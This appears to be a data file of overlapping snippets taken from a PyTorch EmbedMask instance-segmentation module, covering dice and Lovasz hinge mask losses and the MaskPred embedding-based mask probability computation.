pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0]\",\n \"torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss\",\n \"if self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type\",\n \"compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds\",\n \"i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return\",\n \"= torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg):\",\n \"if len(labels) == 0: # only void pixels, the gradients should be 0\",\n \"2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin\",\n \"torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss\",\n \"> 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard\",\n \"obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1,\",\n \"pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed\",\n \"x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1)\",\n \"Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x\",\n \"= x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x\",\n \"super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi\",\n \"build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS\",\n \"jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge loss\",\n \"m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds]\",\n \"- logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data\",\n \"if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1]\",\n \"labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm =\",\n \"\\\"\\\"\\\" Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1\",\n \"MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride =\",\n \"= self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask\",\n \"-1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target\",\n \"= pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w,\",\n \"** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. - (2\",\n \"2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride\",\n \"torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0)\",\n \"(1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p >\",\n \"= torch.log(x) - torch.log(1 - x) losses = [] for i in range(n_inst):\",\n \"jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge loss logits: [P]\",\n \"x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses)\",\n \"class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE\",\n \"max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = [] for i\",\n \"loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances,\",\n \"* target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps\",\n \"if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im\",\n \"if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0\",\n \"dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3,\",\n \"= gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() *\",\n \"(2 * intersection / union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of\",\n \"n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection =\",\n \"1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes\",\n \"per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0:\",\n \"Alg. 1 in paper \\\"\\\"\\\" p = len(gt_sorted) gts = gt_sorted.sum() intersection =\",\n \"2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride,\",\n \"lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target\",\n \"dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0\",\n \"# cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits,\",\n \"= mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean()\",\n \"(pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride\",\n \"torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None):\",\n \"pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h,\",\n \"intersection / union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the Lovasz\",\n \"target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss\",\n \"range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class\",\n \"* 0. signs = 2. * labels.float() - 1. errors = (1. -\",\n \"(target ** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection /\",\n \"for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) ==\",\n \"proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1,\",\n \"mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride %\",\n \"p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return\",\n \"1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\"\",\n \"proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w =\",\n \"= len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts\",\n \"target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) -\",\n \"elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] =\",\n \"the gradients should be 0 return logits.sum() * 0. signs = 2. *\",\n \"loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels\",\n \"lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the Lovasz extension w.r.t sorted errors See Alg.\",\n \"x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union =\",\n \"prediction (between -\\\\infty and +\\\\infty) labels: [P] Tensor, binary ground truth labels (0\",\n \"(between -\\\\infty and +\\\\infty) labels: [P] Tensor, binary ground truth labels (0 or\",\n \"self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances])\",\n \"loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self,\",\n \"target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) +\",\n \"n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x =\",\n \"self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type ==\",\n \"return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride\",\n \"pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean()\",\n \"mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks =\",\n \"** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert\",\n \"= torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses =\",\n \"signs = 2. * labels.float() - 1. errors = (1. - logits *\",\n \"/ union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p]\",\n \"pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob =\",\n \"0 return logits.sum() * 0. signs = 2. * labels.float() - 1. errors\",\n \"return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the Lovasz extension w.r.t sorted\",\n \"+ pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride)\",\n \"gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return losses else: if\",\n \"1) \\\"\\\"\\\" if len(labels) == 0: # only void pixels, the gradients should\",\n \"pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks\",\n \"errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad\",\n \"void pixels, the gradients should be 0 return logits.sum() * 0. signs =\",\n \"cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type\",\n \"* 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss\",\n \"be 0 return logits.sum() * 0. signs = 2. * labels.float() - 1.\",\n \"assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1),\",\n \"pixels, the gradients should be 0 return logits.sum() * 0. signs = 2.\",\n \"from torch.nn import functional as F from torch import nn from torch.autograd import\",\n \"dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks)\",\n \"gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum()\",\n \"x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x =\",\n \"= pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses\",\n \"= pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed =\",\n \"def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi =\",\n \"dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses =\",\n \"3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin =\",\n \"1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2\",\n \"gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype)\",\n \"target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 -\",\n \"1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob\",\n \"- (2 * intersection / union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient\",\n \"m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var =\",\n \"self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask\",\n \"torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred,\",\n \"= [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss\",\n \"import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x,\",\n \"perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss\",\n \"paper \\\"\\\"\\\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0)\",\n \"mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3))\",\n \"-\\\\infty and +\\\\infty) labels: [P] Tensor, binary ground truth labels (0 or 1)\",\n \"mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances,\",\n \"gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss =\",\n \"for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg):\",\n \"errors See Alg. 1 in paper \\\"\\\"\\\" p = len(gt_sorted) gts = gt_sorted.sum()\",\n \"= loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob =\",\n \"- torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i]))\",\n \"2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. - (2 *\",\n \"= dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses\",\n \"gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection\",\n \"torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances)\",\n \"eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst,\",\n \"-1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed\",\n \"= proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed)\",\n \"Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\\\\infty and\",\n \"case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary\",\n \"= (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm\",\n \"self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride):\",\n \"0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss else:\",\n \"\\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses\",\n \"loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the Lovasz extension w.r.t sorted errors\",\n \"pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h,\",\n \"* proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0\",\n \"extension w.r.t sorted errors See Alg. 1 in paper \\\"\\\"\\\" p = len(gt_sorted)\",\n \"losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks =\",\n \"def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds =\",\n \"2.0).sum(dim=1) + eps loss = 1. - (2 * intersection / union) return\",\n \"jaccard def lovasz_hinge(logits, labels): \\\"\\\"\\\" Binary Lovasz hinge loss logits: [P] Variable, logits\",\n \"logits at each prediction (between -\\\\infty and +\\\\infty) labels: [P] Tensor, binary ground\",\n \"losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module):\",\n \"logits: [P] Variable, logits at each prediction (between -\\\\infty and +\\\\infty) labels: [P]\",\n \"= lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps =\",\n \"0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type ==\",\n \"= gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard =\",\n \"m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed\",\n \"mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride\",\n \"target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x **\",\n \"proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1,\",\n \"dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob =\",\n \"1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection\",\n \"binary ground truth labels (0 or 1) \\\"\\\"\\\" if len(labels) == 0: #\",\n \"logits.sum() * 0. signs = 2. * labels.float() - 1. errors = (1.\",\n \"def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds =\",\n \"self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if\",\n \"eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst,\",\n \"* intersection / union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the\",\n \"0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed,\",\n \"from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst =\",\n \"mask_feat_stride) if self.mask_loss_type == \\\"Dice\\\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif\",\n \"proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) **\",\n \"in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg)\",\n \"> 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def\",\n \"__init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST\",\n \"= cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1]))\",\n \"* self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed,\",\n \"hinge loss logits: [P] Variable, logits at each prediction (between -\\\\infty and +\\\\infty)\",\n \"return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__()\",\n \"= lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\\\"loss_mask\\\"] = loss_mask * self.mask_loss_alpha return losses\",\n \"\\\"\\\"\\\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union\",\n \"= torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst =\",\n \"loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst\",\n \"= labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x,\",\n \"losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 +\",\n \"x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x *\",\n \"torch.nn import functional as F from torch import nn from torch.autograd import Variable\",\n \"/ union) return loss def lovasz_grad(gt_sorted): \\\"\\\"\\\" Computes gradient of the Lovasz extension\",\n \"+\\\\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) \\\"\\\"\\\" if\",\n \"return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin\",\n \"instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num\",\n \"\\\"\\\"\\\" if len(labels) == 0: # only void pixels, the gradients should be\",\n \"torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = []\",\n \"* 0 losses[\\\"loss_mask\\\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type\",\n \"x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps,\",\n \"[] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def\",\n \"= cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\\\"_iter\\\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE\",\n \"each prediction (between -\\\\infty and +\\\\infty) labels: [P] Tensor, binary ground truth labels\",\n \"(0 or 1) \\\"\\\"\\\" if len(labels) == 0: # only void pixels, the\",\n \"logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted\",\n \"= gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 -\",\n \"1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x\",\n \"cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\\\"sizes_of_interest\\\", torch.tensor(soi + [soi[-1] * 2]))\",\n \"{} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() *\",\n \"= mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin\",\n \"== 0: # only void pixels, the gradients should be 0 return logits.sum()\",\n \"instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed\",\n \"- gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. -\",\n \"dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target\",\n \"assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride)) return\",\n \"if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return\",\n \"loss_mask = mask_losses.mean() elif self.mask_loss_type == \\\"Lovasz\\\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask =\",\n \"= pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\\\"loss_mask\\\"]\",\n \"= 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1)\",\n \"+ (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p\",\n \"** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection / union)\",\n \"- gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p > 1:\",\n \"gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = 